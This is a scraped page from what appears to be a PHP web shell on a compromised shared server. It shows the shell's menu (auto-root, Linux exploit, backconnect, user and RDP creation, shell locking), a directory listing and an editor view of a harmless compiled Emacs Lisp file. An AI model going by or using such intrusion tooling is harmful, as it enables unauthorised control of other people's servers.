Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
cedet /
semantic /
bovine /
[ HOME SHELL ]
Name
Size
Permission
Action
c-by.elc
35.25
KB
-rw-r--r--
c.elc
103.37
KB
-rw-r--r--
debug.elc
6.96
KB
-rw-r--r--
el.elc
36.85
KB
-rw-r--r--
gcc.elc
5.28
KB
-rw-r--r--
grammar.elc
18.3
KB
-rw-r--r--
make-by.elc
5.7
KB
-rw-r--r--
make.elc
15.83
KB
-rw-r--r--
scm-by.elc
4.19
KB
-rw-r--r--
scm.elc
9.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scm.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\305\306!\210\305\307!\210\305\310!\210\305\311!\210\305\312!\210\313\300\314\315\316\317\316\306\320\321\322\323& \210\324\325 BC\326\327#\210\330\331\327\"\210)\332\325\327\333!\334\204S \n\211\262\204S \262\f\205Q \335\f\"\262\203~ \211\204~ \304N\203m \335\304N\"\211\262\204S \211\336N\206w \211\337N\262\262\202S \266\203\340\341#\210\332\325\327\300#\207" [semantic-default-scheme-path #3=#:tmp0 mode-local-active-mode major-mode mode-local-symbol-table require semantic semantic/bovine semantic/bovine/scm-by semantic/format semantic/dep custom-declare-variable '("/usr/share/guile/") "Default set of include paths for scheme (guile) code.\nThis should probably do some sort of search to see what is\nactually on the local machine." :group scheme :type (repeat (directory :tag "Directory")) :set #[(sym val) "\303 \"\210 \304\305\nBC\306\307#\210\310\311\307\"\210)\312\313!\205 \310\313\307\"\207" [sym val #1=#:tmp0 set-default mode-local-bind semantic-dependency-system-include-path #2=(mode-variable-flag t) scheme-mode mode-local-map-mode-buffers #[nil "\302\301!\210\211\207" [#1# semantic-dependency-system-include-path make-local-variable] 2] fboundp semantic-decoration-unparsed-include-do-reset] 4] mode-local-bind semantic-dependency-system-include-path #2# scheme-mode mode-local-map-mode-buffers #[nil "\302\301!\210\211\207" [#3# semantic-dependency-system-include-path make-local-variable] 2] put symbol-name nil intern-soft mode-local-parent derived-mode-parent variable-documentation "System path to search for include files."] 12) #@122 Return a prototype for the Emacs Lisp nonterminal TAG. Override semantic-format-tag-prototype in `scheme-mode' buffers. (defalias 'semantic-format-tag-prototype-scheme-mode #[(tag &optional parent color) "\211A@)\305! \306=\203! \211@)\307\310\311\n\312#\313R\202& \314 \f#*\207" [tag tok args parent color semantic-tag-components function " (" mapconcat #[(a) "\207" [a] 1] " " ")" semantic-format-tag-prototype-default] 7 (#$ . 2002)]) (byte-code "\300\301\302\303#\210\304\305\306\307#\207" [put semantic-format-tag-prototype-scheme-mode definition-name semantic-format-tag-prototype mode-local-bind ((semantic-format-tag-prototype . semantic-format-tag-prototype-scheme-mode)) (override-flag t) scheme-mode] 4) #@147 Return the documentation string for TAG. Optional argument NOSNARF is ignored. Override semantic-documentation-for-tag in `scheme-mode' buffers. (defalias 'semantic-documentation-for-tag-scheme-mode #[(tag &optional nosnarf) "\302!\211\203 G\303V\203 \303H\304U\203 \305 \306\"\202 )\207" [tag d semantic-tag-docstring 0 42 substring 1] 4 (#$ . 2734)]) (byte-code "\300\301\302\303#\210\304\305\306\307#\207" [put semantic-documentation-for-tag-scheme-mode definition-name semantic-documentation-for-tag mode-local-bind ((semantic-documentation-for-tag . semantic-documentation-for-tag-scheme-mode)) (override-flag t) scheme-mode] 4) #@153 Insert TAG from TAGFILE at point. Attempts a simple prototype for calling or using TAG. Override semantic-insert-foreign-tag in `scheme-mode' buffers. (defalias 'semantic-insert-foreign-tag-scheme-mode #[(tag tagfile) "\211A@)\301=\203 \302\211@)\303\261\210\304u\207\211@)c\207" [tag function "(" " )" -1] 4 (#$ . 3385)]) (byte-code "\300\301\302\303#\210\304\305\306\307#\207" [put semantic-insert-foreign-tag-scheme-mode definition-name semantic-insert-foreign-tag mode-local-bind ((semantic-insert-foreign-tag . semantic-insert-foreign-tag-scheme-mode)) (override-flag t) scheme-mode] 4) #@46 Detect and create symbol and keyword tokens. (defvar semantic-lex-scheme-symbol nil (#$ . 3992)) (defalias 'semantic-lex-scheme-symbol #[nil "\300\207" [nil] 1]) (byte-code "\301\300\302M\207" [semantic-lex-scheme-symbol ((looking-at #1="\\(\\sw\\([:]\\|\\sw\\|\\s_\\)*\\)") (semantic-lex-push-token (semantic-lex-token (or (semantic-lex-keyword-p (match-string 0)) 'symbol) (match-beginning 0) (match-end 0)))) #[nil "\306``dB\307 \310\311!\203Z \312\307!\211\313!\205' \211;\205' \314\"\262\211\262\2051 \211J\262\2067 \315\307\224\307\225BB B\211@\211\211A@\247\204R \211AA\262\202V \211A\262A\262 -\207" [semantic-lex-depth semantic-lex-maximum-depth semantic-lex-current-depth semantic-lex-analysis-bounds semantic-lex-end-point semantic-lex-token-stream nil 0 looking-at #1# match-string obarrayp intern-soft symbol semantic-flex-keywords-obarray] 6 "Detect and create symbol and keyword tokens."]] 2) #@198 A simple lexical analyzer that handles simple buffers. This lexer ignores comments and whitespace, and will return syntax as specified by the syntax table. See `semantic-lex' for more information. (defalias 'semantic-scheme-lexer #[(start end &optional depth length) "\306\307\310 \n#\210`\306\211 @ A\311 BC\206 D E \nB F\306 G\ndV\2034 \312\313\nd#\210\314 p H I\315\216\316J!\210 b\210`\nW\203!K\203X \fGKX\203!\317\320!\203e \311\225A\202\270\317\321!\203r \311\225A\202\270\317\322!\203\304 \323\311!\211\324L!\205\215 \211;\205\215 \325L\"\262\211\262\205\227 \211J\262\206\235 \326\311\224\311\225BB\fB\211@\211\211A@\247\204\270 \211AA\262\202\274 \211A\262A\262A\202\270\317\327!\203\362 \330\311\224\311\225BB\fB\211@\211\211A@\247\204\346 \211AA\262\202\352 \211A\262A\262A\202\270\317\331!\203\215E\203BEW\2032BTB\332\311\224\311\225BB\fB\211@\211\211A@\247\204&\211AA\262\202*\211A\262A\262A\202\270\333\311\224\212M\203HN\203H\334\335!\210`\202i\3361U\334\335!\210`0\202i\210\333OF@FA#b\210`\211A\262)BB\fB\211@\211\211A@\247\204\201\211AA\262\202\205\211A\262A\262A\202\270\317\337!\203\300BSB\340\311\224\311\225BB\fB\211@\211\211A@\247\204\264\211AA\262\202\270\211A\262A\262A\202\270\317\341!\203 \342`\212M\203\333N\203\333\343\335!\210`\202\374\3441\350\343\335!\210`0\202\374\210\342OF@FA#b\210`\211A\262)BB\fB\211@\211\211A@\247\204\211AA\262\202\211A\262A\262A\202\270\317P!\203W` Q\345\335!\210`Q=\203>\346\347\350 \"\210\202En\203E\351u\210`Q=\203P\312\352!\210`A)\202\270\317\353!\203\205\354\311\224\311\225BB\fB\211@\211\211A@\247\204y\211AA\262\202}\211A\262A\262A\202\270\317R!\203\264\355\311\224\311\225BB\fB\211@\211\211A@\247\204\250\211AA\262\202\254\211A\262A\262A\202\270\312\356!\210A@=\203\310\312\357@\f@#\210A@Ab\210S\203\362\360 \204\354r\361T!q\210\212Tb\210\362 *\203\362\363S\364\"\210\f@U\205 \306C\365\311\366\367\370!\371\"\372$\216\203\211\373!\240\210\374\375\376B#!)\262\266\202E + \203b \211A\242\211 V\211 W\203L\377\201X W@WA@#\210 \211A\242\211W\2044V@OF@FA#b\210`\211A\266* b\210\f\237. \207" [semantic-lex-block-streams start end starting-position semantic-lex-token-stream semantic-lex-block-stack nil run-hook-with-args semantic-lex-reset-functions 0 error "semantic-scheme-lexer: end (%d) > point-max (%d)" syntax-table #[nil "rq\210\302 !)\207" [#1=#:buffer #2=#:table set-syntax-table] 2] set-syntax-table looking-at "\\s-+" "\\s-*\\(\n\\|\\s>\\)" "\\(\\sw\\([:]\\|\\sw\\|\\s_\\)*\\)" match-string obarrayp intern-soft symbol "\\s\\+" charquote "\\s(" open-paren semantic-list forward-list 1 (error) "\\s)" close-paren "\\s\"" string forward-sexp (error) forward-comment skip-syntax-forward "-.'" point-at-eol -1 "Strange comment syntax prevents lexical analysis" "\\(\\s.\\|\\s$\\|\\s'\\)" punctuation number "Unmatched Text during Lexical Analysis" "semantic-scheme-lexer: endless loop at %d, after %S" input-pending-p marker-buffer accept-process-output throw lex make-byte-code "\300\242\205 \301\300\242!\207" vconcat vector [delete-overlay] 2 semantic-lex-highlight-token read-event format "%S :: Depth: %d :: SPC - continue" message tmp-start semantic-lex-end-point semantic-lex-current-depth depth semantic-lex-depth semantic-lex-maximum-depth semantic-lex-analysis-bounds parse-sexp-lookup-properties #1# #2# semantic-lex-syntax-table length semantic-flex-keywords-obarray debug-on-error semantic-lex-debug-analyzers semantic-lex-unterminated-syntax-end-function semantic-lex-comment-regex comment-start-point semantic-lex-number-expression semantic-current-input-throw-symbol semantic--on-input-start-marker semantic-lex-debug last blk "semantic-scheme-lexer: `%s' block from %S is unterminated"] 9 (#$ . 4926)]) #@56 Setup hook function for Emacs Lisp files and Semantic. (defalias 'semantic-default-scheme-setup #[nil "\303 \210\304\305\211\306\211\207" [semantic-symbol->name-assoc-list imenu-create-index-function semantic-lex-analyzer semantic-scm-by--install-parser ((variable . "Variables") (function . "Functions") (include . "Loads") (package . "DefineModule")) semantic-create-imenu-index semantic-scheme-lexer] 3 (#$ . 8797)]) (provide 'semantic/bovine/scm)
Close
